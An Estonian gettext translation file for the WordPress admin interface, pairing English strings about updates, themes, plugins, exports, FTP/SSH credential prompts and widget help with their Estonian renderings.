msgid "<a href=\"http://codex.wordpress.org/Roles_and_Capabilities\" target=\"_blank\">Descriptions of Roles and Capabilities</a>"
msgstr "<a href=\"http://codex.wordpress.org/Roles_and_Capabilities\" target=\"_blank\">Dokumentatsioon</a>"

#. translators: Default page slug
#: wp-admin/includes/upgrade.php:219
msgid "sample-page"
msgstr "demoleht"

#: wp-admin/includes/upgrade.php:217
msgid "Sample Page"
msgstr "Näidisleht"

#: wp-admin/options-discussion.php:224
msgid "Retro (Generated)"
msgstr "Retro (genereeritud)"

#: wp-admin/includes/class-wp-themes-list-table.php:78
msgid "You only have one theme enabled for this site right now. Visit the Network Admin to <a href=\"%1$s\">enable</a> or <a href=\"%2$s\">install</a> more themes."
msgstr "Sellel saidil on hetkel sisse lülitatud ainult üks teema.  Võrgustikuhaldur saab <a href=\"%1$s\">lülitada sisse</a> või <a href=\"%2$s\">paigaldada</a> uusi teemasid."

#: wp-admin/includes/class-wp-themes-list-table.php:82
msgid "You only have one theme enabled for this site right now. Visit the Network Admin to <a href=\"%1$s\">enable</a> more themes."
msgstr "Sellel saidil on hetkel sisse lülitatud ainult üks teema.  Võrgustikuhaldur saab <a href=\"%1$s\">lülitada sisse</a> uusi teemasid."

#: wp-admin/user-edit.php:342
msgid "Super admin privileges cannot be removed because this user has the network admin email."
msgstr "Peahalduri õigusi ei saa eemaldada, kuna sellele kasutajale suunatakse kogu võrgustiku haldussõnumid."

#: wp-admin/includes/class-wp-themes-list-table.php:89
msgid "You only have one theme installed right now. Live a little! You can choose from over 1,000 free themes in the WordPress.org Theme Directory at any time: just click on the <a href=\"%s\">Install Themes</a> tab above."
msgstr "Hetkel on sul paigaldatud ainult üks teema. Kuid tee proovi - WordPressi teemakataloogist leiad üle 1000 tasuta teema. LIhtsalt klõpsa ülal asuvat <a href=\"%s\">Paigalda teemad</a> -sakki."

#: wp-admin/maint/repair.php:113
msgid "One or more database tables are unavailable. To allow WordPress to attempt to repair these tables, press the &#8220;Repair Database&#8221; button. Repairing can take a while, so please be patient."
msgstr "Vähemalt üks andmebaasitabel on kättesaamatu. Kui soovid lasta WordPressil proovida tabeleid parandada, vajuta &#8220;Paranda andmebaas&#8221; -nuppu. Parandamine võib võtta veidi aega."

#: wp-admin/includes/file.php:16
msgid "Visual Editor RTL Stylesheet"
msgstr "Visuaalredaktori stiilileht"

#: wp-admin/theme-editor.php:170
msgid "This child theme inherits templates from a parent theme, %s."
msgstr "See tuletatud teema pärib mallid algselt %s teemalt."

#: wp-admin/theme-editor.php:216
msgid "This is a file in your current parent theme."
msgstr "See fail kuulub sinu algsesse teemasse."

#: wp-admin/includes/class-wp-ms-themes-list-table.php:252
#: wp-admin/includes/class-wp-ms-themes-list-table.php:295
#: wp-admin/includes/class-wp-upgrader-skins.php:527
msgid "Network Enable"
msgstr "Käivita kogu võrgustikus"

#: wp-admin/upgrade.php:99
msgid "Your WordPress database has been successfully updated!"
msgstr "Sinu WordPressi andmebaas on edukalt uuendatud!"

#: wp-admin/upgrade.php:88
msgid "Update WordPress Database"
msgstr "Uuenda WordPressi andmebaasi"

#: wp-admin/update-core.php:101
msgid "You are about to install WordPress %s <strong>in English (US).</strong> There is a chance this update will break your translation. You may prefer to wait for the localized version to be released."
msgstr "WordPress %s paigaldatakse <strong>ingliskeelsena.</strong> Võimalik, et see rikub ära sinu emakeelse tõlke, seepärast võiksid oodata tõlgitud versiooni valmimiseni."

#: wp-admin/upgrade.php:87
msgid "The update process may take a little while, so please be patient."
msgstr "Uuendamine võib võtta veidi aega, palume kannatust!"

#: wp-admin/upgrade.php:55
msgid "WordPress &rsaquo; Update"
msgstr "WordPress &rsaquo; Uuendus"

#: wp-admin/upgrade.php:98
msgid "Update Complete"
msgstr "Uuendamine lõpetatud"

#: wp-admin/upgrade.php:85
msgid "Database Update Required"
msgstr "Andmebaasi tuleb uuendada"

#: wp-admin/upgrade.php:86
msgid "WordPress has been updated! Before we send you on your way, we have to update your database to the newest version."
msgstr "WordPress on uuendatud! Enne kasutama asumist tuleb aga ka andmebaas ära uuendada."

#: wp-admin/upgrade.php:66
msgid "No Update Required"
msgstr "Uuendamist pole vaja"

#: wp-admin/includes/class-wp-upgrader.php:487
msgid "Plugin updated successfully."
msgstr "Plugin uuendatud."

#: wp-admin/includes/class-wp-upgrader-skins.php:564 wp-admin/update.php:162
msgid "Update Theme"
msgstr "Uuenda teemat"

#: wp-admin/includes/class-wp-upgrader.php:486
msgid "Plugin update failed."
msgstr "Plugina uuendamine ebaõnnestus."

#: wp-admin/includes/class-wp-upgrader.php:810
msgid "Theme update failed."
msgstr "Teema uuendamine ebaõnnestus."

#: wp-admin/includes/class-wp-upgrader.php:811
msgid "Theme updated successfully."
msgstr "Teema uuendamine õnnestus."

#: wp-admin/includes/class-wp-upgrader-skins.php:145 wp-admin/update.php:54
msgid "Update Plugin"
msgstr "Uuenda pluginat"

#: wp-admin/includes/update.php:284
msgid "There is a new version of %1$s available. <a href=\"%2$s\" class=\"thickbox\" title=\"%3$s\">View version %4$s details</a>. <em>Automatic update is unavailable for this plugin.</em>"
msgstr "%1$s uus versioon on saadaval. <a href=\"%2$s\" class=\"thickbox\" title=\"%3$s\">Vaata versiooni %4$s üksikasju</a> <em>seda pluginat ei saa automaatselt uuendada</em>."

#: wp-admin/includes/class-wp-upgrader.php:481
#: wp-admin/includes/class-wp-upgrader.php:805
#: wp-admin/includes/class-wp-upgrader.php:1249
#: wp-admin/includes/class-wp-upgrader.php:1437
msgid "Update package not available."
msgstr "Uuenduspakett pole saadaval."

#: wp-admin/export.php:173 wp-admin/export.php:205
msgid "Date range:"
msgstr "Kuupäevavahemik:"

#: wp-admin/export.php:157
msgid "This will contain all of your posts, pages, comments, custom fields, terms, navigation menus and custom posts."
msgstr "See sisaldab kõiki sinu postitusi, lehti, kommentaare, lisavälju, termineid, menüüsid ja kohandatud postitusi."

#: wp-admin/export.php:153
msgid "Choose what to export"
msgstr "Vali eksporditavad failid"

#: wp-admin/export.php:166 wp-admin/export.php:198
msgid "Authors:"
msgstr "Autorid:"

#: wp-admin/export.php:156
msgid "All content"
msgstr "Kogu sisu"

#: wp-admin/includes/class-wp-ms-themes-list-table.php:214
msgctxt "themes"
msgid "All <span class=\"count\">(%s)</span>"
msgid_plural "All <span class=\"count\">(%s)</span>"
msgstr[0] "Kõik <span class=\"count\">(%s)</span>"
msgstr[1] "Kõik <span class=\"count\">(%s)</span>"

#: wp-admin/includes/file.php:312
msgid "Sorry, this file type is not permitted for security reasons."
msgstr "Vabandust, seda tüüpi faile ei lubata turvakaalutlustel kasutada."

#: wp-admin/admin-header.php:32 wp-admin/customize.php:88
msgid "%1$s &#8212; WordPress"
msgstr "%1$s &#8212; WordPress"

#: wp-admin/user-edit.php:270
msgid "<a href=\"http://codex.wordpress.org/Keyboard_Shortcuts\" target=\"_blank\">More information</a>"
msgstr "<a href=\"http://codex.wordpress.org/Keyboard_Shortcuts\"  target=\"_blank\">Loe lisaks</a>"

#: wp-admin/includes/class-wp-comments-list-table.php:309
msgctxt "column name"
msgid "In Response To"
msgstr "Vastus: "

#. translators: 2: comment date, 3: comment time
#: wp-admin/includes/class-wp-comments-list-table.php:407
msgid "Submitted on <a href=\"%1$s\">%2$s at %3$s</a>"
msgstr "Kirjutatud <a href=\"%1$s\">%2$s kell %3$s</a>"

#: wp-admin/edit-comments.php:134
msgid "<a href=\"http://codex.wordpress.org/Comment_Spam\" target=\"_blank\">Documentation on Comment Spam</a>"
msgstr "<a href=\"http://codex.wordpress.org/Comment_Spam\" target=\"_blank\">Dokumentatsioon</a>"

#: wp-admin/edit-comments.php:135
msgid "<a href=\"http://codex.wordpress.org/Keyboard_Shortcuts\" target=\"_blank\">Documentation on Keyboard Shortcuts</a>"
msgstr "<a href=\"http://codex.wordpress.org/Keyboard_Shortcuts\" target=\"_blank\">Dokumentatsioon</a>"

#: wp-admin/widgets.php:53
msgid "The Available Widgets section contains all the widgets you can choose from. Once you drag a widget into a sidebar, it will open to allow you to configure its settings. When you are happy with the widget settings, click the Save button and the widget will go live on your site. If you click Delete, it will remove the widget."
msgstr "Moodulite valikust saad valida sobivaid ekraanimooduleid. Kui lohistad mooduli saadaolevate moodulite nimekirjast külgpaanile, avaneb see ja võimaldab edasist seadistamist. Kui seaded sobivad, klõpsa salvestusnuppu ja moodul alustab uute seadetega tööd. Kustuta-nupp eemaldab mooduli kasutusest."

#: wp-admin/edit-form-advanced.php:320 wp-admin/media.php:78
msgid "Remember to click Update Media to save metadata entered or changed."
msgstr "Ära unusta peale metaandmete lisamist või muutmist klõpsata uuendamisnuppu."

#: wp-admin/edit-form-advanced.php:319 wp-admin/media.php:77
msgid "Note that you crop the image by clicking on it (the Crop icon is already selected) and dragging the cropping frame to select the desired part. Then click Save to retain the cropping."
msgstr "NB! Lõikamiseks tuleb valida vastav ikoon, seejärel klõpsata pildile ning valida hiirega lohistades soovitav pildiala. Seejärel tuleks pilt salvestada."

#: wp-admin/edit-form-advanced.php:318 wp-admin/media.php:76
msgid "For images only, you can click on Edit Image under the thumbnail to expand out an inline image editor with icons for cropping, rotating, or flipping the image as well as for undoing and redoing. The boxes on the right give you more options for scaling the image, for cropping it, and for cropping the thumbnail in a different way than you crop the original image. You can click on Help in those boxes to get more information."
msgstr "Piltide muutmiseks saad kasutada Muuda pilti - valikut, mis avab sisemise pildiredaktori. Seal saab pilti lõigata, pöörata või peegeldada, samuti tegevusi tagasi võtta ja korrata. Paremalt leiad täiendavad valikud pildi suuruse muutmiseks ja lõikamiseks. Abiinfo alt leiad seal täiendavat teavet."

#: wp-admin/media.php:75
msgid "This screen allows you to edit five fields for metadata in a file within the media library."
msgstr "Siit saad meediateegis olevale failile lisada viis metaandmete välja."

#: wp-admin/user-new.php:280
msgid "E-mail or Username"
msgstr "E-post või kasutajanimi"

#: wp-admin/admin-header.php:34
msgid "%1$s &lsaquo; %2$s &#8212; WordPress"
msgstr "%1$s &lsaquo; %2$s &#8212; WordPress"

#: wp-admin/themes.php:106
msgid "Search Installed Themes"
msgstr "Otsi paigaldatud teemasid"

#: wp-admin/includes/class-wp-upgrader-skins.php:527
msgid "Enable this theme for all sites in this network"
msgstr "Lülita see teema sisse kõigil selle võrgustiku lehtedel"

#: wp-admin/update-core.php:300
msgid "<strong>Please Note:</strong> Any customizations you have made to theme files will be lost. Please consider using <a href=\"%s\">child themes</a> for modifications."
msgstr "<strong>Tähelepanu:</strong> kõik teemafailidesse tehtud muudatused lähevad kaotsi. Võiksid kaaluda <a href=\"%s\">tuletatud teema</a> loomist."

#: wp-admin/includes/class-wp-posts-list-table.php:189
msgctxt "posts"
msgid "Sticky <span class=\"count\">(%s)</span>"
msgid_plural "Sticky <span class=\"count\">(%s)</span>"
msgstr[0] "Kinnistatud  <span class=\"count\">(%s)</span>"
msgstr[1] "Kinnistatud  <span class=\"count\">(%s)</span>"

#: wp-admin/update-core.php:508
msgid "Please select one or more plugins to update."
msgstr "Palun vali pluginad, mida soovid uuendada."

#: wp-admin/update-core.php:506
msgid "Please select one or more themes to update."
msgstr "Palun vali teemad, mida soovid uuendada."

#. translators: %1 date, %2 time.
#: wp-admin/update-core.php:514
msgid "Last checked on %1$s at %2$s."
msgstr "Viimati kontrollitud %1$s kell %2$s."

#: wp-admin/update-core.php:515
msgid "Check Again"
msgstr "Kontrolli"

#: wp-admin/includes/class-wp-upgrader-skins.php:205
msgid "The update process is starting. This process may take a while on some hosts, so please be patient."
msgstr "Uuendamine algab. Kuna see võib võtta veidi aega, siis palume kannatust!"

#: wp-admin/options-general.php:288
msgid "<a href=\"http://codex.wordpress.org/Formatting_Date_and_Time\">Documentation on date and time formatting</a>."
msgstr "<a href=\"http://codex.wordpress.org/Formatting_Date_and_Time\">Dokumentatsioon</a>."

#: wp-admin/includes/user.php:437
msgid "You&rsquo;re using the auto-generated password for your account. Would you like to change it to something easier to remember?"
msgstr "Sinu kontol on automaatselt genereeritud parool. Kas sa soovid vahetada selle mõne paremini meeldejääva vastu?"

#: wp-admin/theme-install.php:151
msgid "Apply Filters"
msgstr "Rakenda filtreid"

#: wp-admin/includes/theme.php:223
msgid "RTL Language Support"
msgstr "RTL keeletugi"

#: wp-admin/includes/theme.php:210
msgid "BuddyPress"
msgstr "BuddyPress"

#: wp-admin/includes/theme.php:215
msgid "Editor Style"
msgstr "Redaktori stiil"

#: wp-admin/includes/theme.php:219
msgid "Front Page Posting"
msgstr "Esilehepostitus"

#: wp-admin/includes/theme.php:227
msgid "Translation Ready"
msgstr "Tõlkevalmis"

#: wp-admin/comment.php:71
msgid "You are not allowed to edit this comment."
msgstr "Sul pole õigust seda kommentaari muuta."

#: wp-admin/includes/file.php:1076
msgid "To perform the requested action, WordPress needs to access your web server."
msgstr "See tegevus vajab WordPressi ligipääsu veebiserverile."

#: wp-admin/includes/class-wp-list-table.php:669
msgid "Current page"
msgstr "Lehekülg"

#: wp-admin/includes/class-wp-list-table.php:659
msgid "Go to the previous page"
msgstr "Mine eelmisele lehele"

#: wp-admin/includes/class-wp-list-table.php:679
msgid "Go to the next page"
msgstr "Mine järgmisele lehele"

#: wp-admin/includes/class-wp-list-table.php:686
msgid "Go to the last page"
msgstr "Mine viimasele lehele"

#: wp-admin/includes/ajax-actions.php:379
#: wp-admin/includes/class-wp-list-table.php:633
#: wp-admin/includes/class-wp-list-table.php:1052
msgid "1 item"
msgid_plural "%s items"
msgstr[0] "1 element"
msgstr[1] "%s elementi"

#: wp-admin/includes/class-wp-users-list-table.php:123
msgid "No matching users were found."
msgstr "Selliseid kasutajaid ei leitud."

#: wp-admin/includes/class-wp-theme-install-list-table.php:137
msgid "No themes match your request."
msgstr "Selliseid teemasid ei ole."

#: wp-admin/includes/class-wp-list-table.php:652
msgid "Go to the first page"
msgstr "Mine esimesele lehele"

#: wp-admin/includes/dashboard.php:390
msgid "Search Sites"
msgstr "Otsi veebilehtedelt"

#: wp-admin/includes/dashboard.php:344
msgid "Create a New User"
msgstr "Loo uus kasutaja"

#: wp-admin/includes/dashboard.php:352
msgid "You have %1$s and %2$s."
msgstr "Siin on %1$s ja %2$s."

#: wp-admin/includes/dashboard.php:350
msgid "%s site"
msgid_plural "%s sites"
msgstr[0] "%s sait"
msgstr[1] "%s saidid"

#: wp-admin/includes/dashboard.php:349
msgid "%s user"
msgid_plural "%s users"
msgstr[0] "%s kasutaja"
msgstr[1] "%s kasutajad"

#: wp-admin/update-core.php:166
msgid "<strong>Important:</strong> before updating, please <a href=\"http://codex.wordpress.org/WordPress_Backups\">back up your database and files</a>. For help with updates, visit the <a href=\"http://codex.wordpress.org/Updating_WordPress\">Updating WordPress</a> Codex page."
msgstr "<strong>NB!</strong> Enne uuendamist palun <a href=\"http://codex.wordpress.org/WordPress_Backups\">tee enda andmebaasist ja failidest varukoopiad</a>. Abi saamiseks külasta <a href=\"http://codex.wordpress.org/Updating_WordPress\">WordPressi uuendamise juhendit</a>."

#: wp-admin/includes/dashboard.php:937
msgid "http://wordpress.org/news/"
msgstr "http://wordpress.org/news/"

#: wp-admin/includes/dashboard.php:946
msgid "http://wordpress.org/news/feed/"
msgstr "http://wordpress.org/news/feed/"

#: wp-admin/options-discussion.php:66
msgid "(Signup has been disabled. Only members of this site can comment.)"
msgstr "(Kasutajate loomine on välja lülitatud. Ainult registreeritud kasutajad saavad kommenteerida.)"

#: wp-admin/update-core.php:67
msgid "You can update to <a href=\"http://codex.wordpress.org/Version_%1$s\">WordPress %2$s</a> automatically or download the package and install it manually:"
msgstr "Sa saad uuendada <a href=\"http://codex.wordpress.org/Version_%1$s\">WordPressi versioonile %2$s</a> nii automaatselt kui ka alla laadides ja käsitsi paigaldades:"

#: wp-admin/user-new.php:158
msgid "New users will receive an email letting them know they&#8217;ve been added as a user for your site. By default, this email will also contain their password. Uncheck the box if you don&#8217;t want the password to be included in the welcome email."
msgstr "Uued kasutajad saavad e-kirjaga teate nende lisamisest sinu veebilehe kasutajate hulka. Vaikimisi on selles kirjas ka nende parool. Kui sa ei soovi tervituskirjaga parooli saata, tühjenda sätetes vastav märkeruut."

#: wp-admin/includes/theme.php:151 wp-admin/includes/update.php:282
#: wp-admin/includes/update.php:371
msgid "There is a new version of %1$s available. <a href=\"%2$s\" class=\"thickbox\" title=\"%3$s\">View version %4$s details</a>."
msgstr "%1$s uus versioon on saadaval. <a href=\"%2$s\" class=\"thickbox\" title=\"%3$s\">Vaata versiooni %4$s üksikasju</a>."

#: wp-admin/includes/class-wp-upgrader-skins.php:372
msgid "Go to themes page"
msgstr "Mine teemalehele"

#: wp-admin/includes/class-wp-upgrader-skins.php:166
#: wp-admin/includes/class-wp-upgrader-skins.php:327
msgid "Go to plugins page"
msgstr "Mine pluginate lehele"

#: wp-admin/includes/class-wp-upgrader-skins.php:328
#: wp-admin/includes/class-wp-upgrader-skins.php:373
#: wp-admin/includes/class-wp-upgrader-skins.php:672
msgid "Go to WordPress Updates page"
msgstr "Mine WordPressi uuenduste lehele"

#. translators: %s: title of menu item in draft status
#: wp-admin/includes/nav-menu.php:89
msgid "%s (Pending)"
msgstr "%s (ootel)"

#: wp-admin/includes/nav-menu.php:1193
msgid "Click Save Menu to make pending menu items public."
msgstr "Menüü avaldamiseks klõpsa Salvesta-nuppu."

#: wp-admin/includes/dashboard.php:1132
msgid "Storage Space"
msgstr "Kettaruum"

#: wp-admin/includes/dashboard.php:342 wp-admin/includes/ms.php:675
msgid "Create a New Site"
msgstr "Loo uus veebileht"

#: wp-admin/plugins.php:340
msgctxt "plugins per page (screen options)"
msgid "Plugins"
msgstr ""

#: wp-admin/upload.php:194
msgctxt "items per page (screen options)"
msgid "Media items"
msgstr "Meediaobjektid"

#: wp-admin/edit-comments.php:112
msgctxt "comments per page (screen options)"
msgid "Comments"
msgstr "Kommentaarid"

#: wp-admin/custom-header.php:573
msgid "Images of exactly <strong>%1$d &times; %2$d pixels</strong> will be used as-is."
msgstr "Täpselt <strong>%1$d x %2$d piksli</strong> suurusi pilte kasutatakse muutmata kujul."

#: wp-admin/theme-install.php:103
msgid "<a href=\"http://codex.wordpress.org/Using_Themes#Adding_New_Themes\" target=\"_blank\">Documentation on Adding New Themes</a>"
msgstr "<a href=\"http://codex.wordpress.org/UsingThemes#Adding_New_Themes\" target=\"_blank\">Dokumentatsioon</a>"

#: wp-admin/custom-header.php:833
msgid "Crop and Publish"
msgstr "Kärbi ja avalda"

#: wp-admin/plugins.php:347
msgid "You can find additional plugins for your site by using the <a href=\"%1$s\">Plugin Browser/Installer</a> functionality or by browsing the <a href=\"%2$s\" target=\"_blank\">WordPress Plugin Directory</a> directly and installing new plugins manually. To manually install a plugin you generally just need to upload the plugin file into your <code>/wp-content/plugins</code> directory. Once a plugin has been installed, you can activate it here."
msgstr "Täiendavaid pluginaid võid enda lehele leida uue <a href=\"%1$s\">pluginate sirvija-paigaldaja</a> abil või külastades <a href=\"%2$s\" target=\"_blank\">WordPressi pluginakataloogi</a> ja paigaldades pluginad käsitsi. Käsitsi paigaldamiseks tuleb sul reeglina lihtsalt laadida see üles enda <code>/wp-content/plugins</code> -kataloogi. Peale paigaldamist saad selle siit sisse lülitada."

#: wp-admin/edit-link-form.php:60
msgid "XFN stands for <a href=\"http://gmpg.org/xfn/\" target=\"_blank\">XHTML Friends Network</a>, which is optional. WordPress allows the generation of XFN attributes to show how you are related to the authors/owners of the site to which you are linking."
msgstr "XFN töhendab <a href=\"http://gmpg.org/xfn/\" target=\"_blank\">XHTML Friends Networki</a>, selle kasutamine on vabatahtlik. WordPress võimaldab XFN-atribuutide genereerimist, mis näitavad ära sinu seose viidatava veebilehe autori või omanikuga."

#: wp-admin/plugins.php:359
msgid "<a href=\"http://codex.wordpress.org/Managing_Plugins#Plugin_Management\" target=\"_blank\">Documentation on Managing Plugins</a>"
msgstr "<a href=\"http://codex.wordpress.org/Managing_Plugins#Plugin_Management\" target=\"_blank\">Dokumentatsioon</a>"

#: wp-admin/theme-editor.php:42
msgid "<a href=\"http://codex.wordpress.org/Template_Tags\" target=\"_blank\">Documentation on Template Tags</a>"
msgstr "<a href=\"http://codex.wordpress.org/Template_Tags\" target=\"_blank\">Dokumentatsioon</a>"

#: wp-admin/theme-editor.php:41
msgid "<a href=\"http://codex.wordpress.org/Editing_Files\" target=\"_blank\">Documentation on Editing Files</a>"
msgstr "<a href=\"http://codex.wordpress.org/Editing_Files\" target=\"_blank\">Dokumentatsioon</a>"

#: wp-admin/theme-editor.php:40 wp-admin/themes.php:85
msgid "<a href=\"http://codex.wordpress.org/Using_Themes\" target=\"_blank\">Documentation on Using Themes</a>"
msgstr "<a href=\"http://codex.wordpress.org/Using_Themes\" target=\"_blank\">Dokumentatsioon</a>"

#: wp-admin/theme-editor.php:39
msgid "<a href=\"http://codex.wordpress.org/Theme_Development\" target=\"_blank\">Documentation on Theme Development</a>"
msgstr "<a href=\"http://codex.wordpress.org/Theme_Development\" target=\"_blank\">Dokumentatsioon</a>"

#: wp-admin/includes/file.php:1086
msgid "FTP Password"
msgstr "FTP parool"

#: wp-admin/includes/file.php:1085
msgid "FTP Username"
msgstr "FTP kasutajanimi"

#: wp-admin/includes/file.php:1082
msgid "FTP/SSH Password"
msgstr "FTP/SSH parool"

#: wp-admin/includes/file.php:1081
msgid "FTP/SSH Username"
msgstr "FTP/SSH kasutajanimi"

#: wp-admin/options-reading.php:57
msgid "You can choose what&#8217;s displayed on the front page of your site. It can be posts in reverse chronological order (classic blog), or a fixed/static page. To set a static home page, you first need to create two <a href=\"%s\">Pages</a>. One will become the front page, and the other will be where your posts are displayed."
msgstr "Esilehe väljanägemine võib olla erinev - see võib olla klassikaline ajaveeb kronoloogiliselt järjestatud postitustega või ka staatiline leht. Staatilise avalehe valimiseks pead esmalt looma kaks <a href=\"%s\">lehte</a> - ühest saab esileht ja teisel kuvatakse postitused."

#: wp-admin/options-permalink.php:38
msgid "The Optional fields let you customize the &#8220;category&#8221; and &#8220;tag&#8221; base names that will appear in archive URLs. For example, the page listing all posts in the &#8220;Uncategorized&#8221; category could be <code>/topics/uncategorized</code> instead of <code>/category/uncategorized</code>."
msgstr "Lisaväljadesse saab panna rubriikide ja siltide baasnimed, mis esinevad veebiaadressides. Näiteks kogu rubriiki Varia kuvav alamleht võiks olla <code>/rubriigid/varia</code> asemel ka aadressil <code>/teemad/varia</code>."

#: wp-admin/themes.php:247
msgid "The following themes are installed but incomplete. Themes must have a stylesheet and a template."
msgstr "Need teemad on küll paigaldatud, kuid mittetäielikud. Igal teemal peab olema stiilileht ja mall."

#: wp-admin/options-permalink.php:31
msgid "When you assign multiple categories or tags to a post, only one can show up in the permalink: the lowest numbered category. This applies if your custom structure includes <code>%category%</code> or <code>%tag%</code>."
msgstr "Kui postitusel on mitu rubriiki või silti, saab vaid üks neist, kõige väiksema numbriga olev, kuuluda püsiviitesse.  See kehtib, kui kohandatud struktuuris sisaldub <code>%category%</code> või <code>%tag%</code>."

#: wp-admin/options-permalink.php:30
msgid "If you pick an option other than Default, your general URL path with structure tags, terms surrounded by <code>%</code>, will also appear in the custom structure field and your path can be further modified there."
msgstr "Kui valid mõne muu kui vaikimisi valiku, kuvatakse üldine veebiaadress koos struktuurimärgendite, <code>%</code>-ga ümbritsetud terminite jm lisadega kohandatud struktuuriväljadena ning seda saab sealt edaspidi muuta."

#: wp-admin/widgets.php:67
msgid "Many themes show some sidebar widgets by default until you edit your sidebars, but they are not automatically displayed in your sidebar management tool. After you make your first widget change, you can re-add the default widgets by adding them from the Available Widgets area."
msgstr "Paljud teemad kuvavad külgpaanidel vaikimisi mooduleid (kuni muudatuste tegemiseni paanil), kuid neid ei näidata automaatselt külgpaani haldusvahendis.  Peale moodulite esmast muutmist saad vaikimisi moodulid uuesti lisada, lisades need saadaolevate moodulite alale."

#: wp-admin/widgets.php:59
msgid "If you want to remove the widget but save its setting for possible future use, just drag it into the Inactive Widgets area. You can add them back anytime from there. This is especially helpful when you switch to a theme with fewer or different widget areas."
msgstr "Kui tahad mooduli eemaldada, ent säilitada selle seadistused, lohista see lihtsalt väljalülitatud moodulite alale. Sealt on neid alati võimalik uuesti käivitada. See on eriti kasulik juhul, kui vahetad teemat ning uus võimaldab kasutada vähemaid moodulialasid."

#: wp-admin/users.php:27
msgid "To add a new user for your site, click the Add New button at the top of the screen or Add New in the Users menu section."
msgstr "Uue kasutaja lisamiseks klõpsa Lisa kasutaja - nuppu ekraani ülaservas või Lisa uus -nuppu kasutajate halduses."

#: wp-admin/options-media.php:18
msgid "You can set maximum sizes for images inserted into your written content; you can also insert an image as Full Size."
msgstr "Lisatud piltidele saab määrata maksimumsuuruse või lubada lisada ka täismõõdus pilte."

#: wp-admin/options-general.php:61
msgid "Most themes display the site title at the top of every page, in the title bar of the browser, and as the identifying name for syndicated feeds. The tagline is also displayed by many themes."
msgstr "Enamik teemasid kuvab veebilehe pealkirja iga lehe kohal, veebilehitseja pealkirjaribal ning uudisevoo pealkirjas. Paljud teemad kuvavad ka veebilehe alapealkirja."

#: wp-admin/edit-form-advanced.php:372
msgid "<strong>Order</strong> - Pages are usually ordered alphabetically, but you can choose your own order by entering a number (1 for first, etc.) in this field."
msgstr "<strong>Järjekord</strong> - harilikult järjestatakse lehed tähestikuliselt, kuid järjekorra saab määrata ka ise, sisestades vastava järjekorranumbri (esimesele 1, teisele 2 jne) siia välja."

#: wp-admin/includes/file.php:1080
msgid "Please enter your FTP or SSH credentials to proceed."
msgstr "Jätkamiseks sisesta enda FTP või SSH kasutajaandmed."

#: wp-admin/includes/file.php:1084
msgid "Please enter your FTP credentials to proceed."
msgstr "Jätkamiseks sisesta enda FTP kasutajaandmed."

#: wp-admin/includes/file.php:1090
msgid "If you do not remember your credentials, you should contact your web host."
msgstr "Kui kasutajaandmed on ununenud, võta ühendust veebihalduriga."

#: wp-admin/theme-install.php:83
msgid "You can Upload a theme manually if you have already downloaded its ZIP archive onto your computer (make sure it is from a trusted and original source). You can also do it the old-fashioned way and copy a downloaded theme&#8217;s folder via FTP into your <code>/wp-content/themes</code> directory."
msgstr "Teema saab üles laadida ka käsitsi, kui sinu arvuti on selle ZIP-fail olemas (veendu, et see pärineks algallikast ja oleks usaldatav). Võib kasutada ka vanamoodsamat meetodit ja laadida soovitud teemad üles FTP abil WordPressi <code>/wp-content/themes</code> -kataloogi."

#: wp-admin/user-edit.php:39
msgid "Your profile contains information about you (your &#8220;account&#8221;) as well as some personal options related to using WordPress."
msgstr "Sinu kasutajainfo sisaldab infot sinu kohta (kasutajakonto) ja lisaks ka mõningaid WordPressi kasutust määravaid isiklikke valikuid."

#: wp-admin/edit-form-advanced.php:297
msgid "Pages are similar to Posts in that they have a title, body text, and associated metadata, but they are different in that they are not part of the chronological blog stream, kind of like permanent posts. Pages are not categorized or tagged, but can have a hierarchy. You can nest Pages under other Pages by making one the &#8220;Parent&#8221; of the other, creating a group of Pages."
msgstr "Lehed sarnanevad postitustele selle poolest, et neilgi on pealkiri, sisu ja metaandmed, kuid erinevalt postitustest ei kuulu nad kronoloogiliselt järjestatud postitustevoo hulka, vaid on otsekui püsivad postitused. Lehed ei kasuta rubriike, ega silte, kuid neid saab hierarhiliselt järjestada. Lehe saab paigutada teise lehe alajaotiseks, määrates teise lehe selle ülemleheks. Nii saab luua lehtede rühmi."

#: wp-admin/edit-form-advanced.php:361
msgid "<strong>Send Trackbacks</strong> - Trackbacks are a way to notify legacy blog systems that you&#8217;ve linked to them. Enter the URL(s) you want to send trackbacks. If you link to other WordPress sites they&#8217;ll be notified automatically using pingbacks, and this field is unnecessary."
msgstr "<strong>Saada trackback-viide</strong> - trackback-viited on viis teatada vanematele ajaveebisüsteemidele, et oled neile viidanud. Sel juhul sisesta siia veebiaadressid, kuhu soovid teavitust saata. Teisi WordPressi ajaveebe aga teavitatakse automaatselt pingback-viidete abil, täiendavalt ei pea midagi tegema."

#: wp-admin/user-new.php:175
msgid "Contributors can write and manage their posts but not publish posts or upload media files."
msgstr "Kaastöölised saavad lisada ja hallata enda postitusi, kuid mitte neid avaldada või meediafaile üles laadida."

#: wp-admin/user-new.php:178
msgid "Administrators have access to all the administration features."
msgstr "Haldurid, kellel on ligipääs kogu haldusmehhanismile."

#: wp-admin/plugin-editor.php:130
msgid "You can use the editor to make changes to any of your plugins&#8217; individual PHP files. Be aware that if you make changes, plugins updates will overwrite your customizations."
msgstr "Redaktori abil saad muuta kõigi pluginate üksikuid PHP-faile. Tähelepanu - pluginate uuendamine kirjutab nõnda tehtud muudatused üle."

#: wp-admin/link-manager.php:47
msgid "You can add links here to be displayed on your site, usually using <a href=\"%s\">Widgets</a>. By default, links to several sites in the WordPress community are included as examples."
msgstr "Siia võid lisada oma lehel näidatavaid viiteid, enamasti <a href=\"%s\">moodulite</a> abil. Vaikimisi on näidetena lisatud mitmed viited WordPressi kogukonna lehtedele."

#: wp-admin/link-manager.php:55
msgid "If you delete a link, it will be removed permanently, as Links do not have a Trash function yet."
msgstr "Viite kustutamisel eemaldatakse see jäädavalt, kuna viidete jaoks prügikastifunktsiooni hetkel veel pole."

#: wp-admin/custom-background.php:145
msgid "Don&#8217;t forget to click on the Save Changes button when you are finished."
msgstr "Kui oled lõpetanud, ära unusta klõpsata salvestusnuppu!"

#: wp-admin/custom-background.php:142
msgid "You can customize the look of your site without touching any of your theme&#8217;s code by using a custom background. Your background can be an image or a color."
msgstr "Oma veebilehe välimust saad muuta ka ilma teema koodi muutmata, kasutades enda valitud tausta. Selleks võib olla nii pilt kui värvus."

#: wp-admin/edit-tags.php:212
msgid "<strong>Slug</strong> - The &#8220;slug&#8221; is the URL-friendly version of the name. It is usually all lowercase and contains only letters, numbers, and hyphens."
